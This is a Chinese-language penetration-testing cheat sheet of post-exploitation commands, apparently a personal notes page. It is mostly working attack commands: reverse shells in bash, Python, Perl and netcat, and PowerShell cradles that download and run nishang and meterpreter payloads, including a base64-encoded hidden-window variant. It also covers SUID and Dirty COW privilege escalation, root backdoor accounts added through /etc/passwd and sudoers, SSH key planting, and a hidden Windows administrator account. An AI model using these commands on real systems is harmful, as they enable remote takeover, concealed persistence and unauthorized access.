渗透笔记
文章目录
获取shell后
- 开启清屏:
export TERM=screen # 赋值xterm也可以
- 查看sudo权限:
sudo -l
- 尝试生成公钥文件到用户目录下的
.ssh
下:echo "xxxx" > /home/p1n93r/.ssh/authorized_keys
,然后就可以免密ssh登录了:ssh p1n93r@192.168.189.5 -i id_rsa
- 创建用户且赋予root权限(已拿到root):
adduser p1n93r
,然后passwd p1n93r
,然后赋予sudo权限echo "p1n93r ALL=(ALL:ALL) ALL" >> /etc/sudoers
- 使用python获取一个完全交互式的tty:
python -c 'import pty;pty.spawn("/bin/bash")'
- 查看任务计划:
cat /etc/crontab
- 查看内核版本:
uname -r
常用工具
- 发现主机:
nmap -sn 192.168.189.0/24
- 扫描主机:
nmap -A -sS -p- 192.168.189.5
- 生成字典:
crunch 10 10 abcd -o pwd.txt
- 爆破密码:
john --wordlist=/usr/share/wordlist/rockyou.txt encry
- Java降级编译:
javac -source 1.7 -target 1.7 Exploit.java
反弹shell
(1)反向连接
攻击机开启监听: nc -lvnp 7777
靶机执行命令:
#bash反弹
bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
#python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")
(2)正向连接
攻击机: nc -lvnp 7777
靶机: nc [ip] 7777 -e /bin/bash
(3)windows反弹shell
攻击机: nc -lvnp 7777
靶机: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [ip] -Port 9999"
(4)powershell base64
$fileContent = "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 49.234.105.98 -Port 9999"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
# 靶机执行如下命令
powershell -nop -noni -w hidden -exec bypass -enc [Base64Str]
(5)msfvenom生成反弹powershell并执行
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=49.xxx.xxx.xxx lport=4578 -f psh-reflection -o shell.ps1
// 靶机执行
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://49.xxx.xxx.xxx:8080/shell.ps1')"
提权
SUID提权
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
工具扫描
- LinEnum:
https://github.com/rebootuser/LinEnum
- linuxprivchecker:
https://github.com/sleventyeleven/linuxprivchecker
gcc编译
例如脏牛提权,直接gcc编译会失败,提示缺少库,所以可以使用如下方式编译:
gcc -pthread dirty.c -o dirty -lcrypt
一些场景
端口敲门
发现存在这个文件: /etc/knockd.conf
文件,就是配置了端口敲门策略,需要根据其配置来进行端口敲击才能连接响应的端口,例如如下knockd.conf配置:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
代表需要依次敲击7469、8475和9842端口,才能开放SSH服务,所以在攻击机上安装knockd工具进行敲击即可:
sudo apt-get install knockd
knockd 192.168.189.10 7469 8475 9842
利用 /etc/passwd
提权
首先生成加密后的密码:
perl -le 'print crypt("your_password","salt")'
然后将加密后的密码和其他配置添加到 /etc/passwd
(前提是有编辑权限咯)下:
echo "p1n93r:xxxx:0:0:root:/root:/bin/bash"
su p1n93r
开启windows rdp
- 设置远程桌面端口:reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f
- 开启远程桌面:wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
- 检查端口状态:netstat -an|find “3389”
- 关闭远程桌面:wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 0
- 防火墙放行3389端口:netsh advfirewall firewall add rule name=“无所谓” dir=in protocol=tcp localport=3389 action=allow
添加简单影子用户
net user pinger$ Pingerp1n93r /add
net localgroup administrators pinger$ /add
文章作者 P1n93r
上次更新 2021-01-01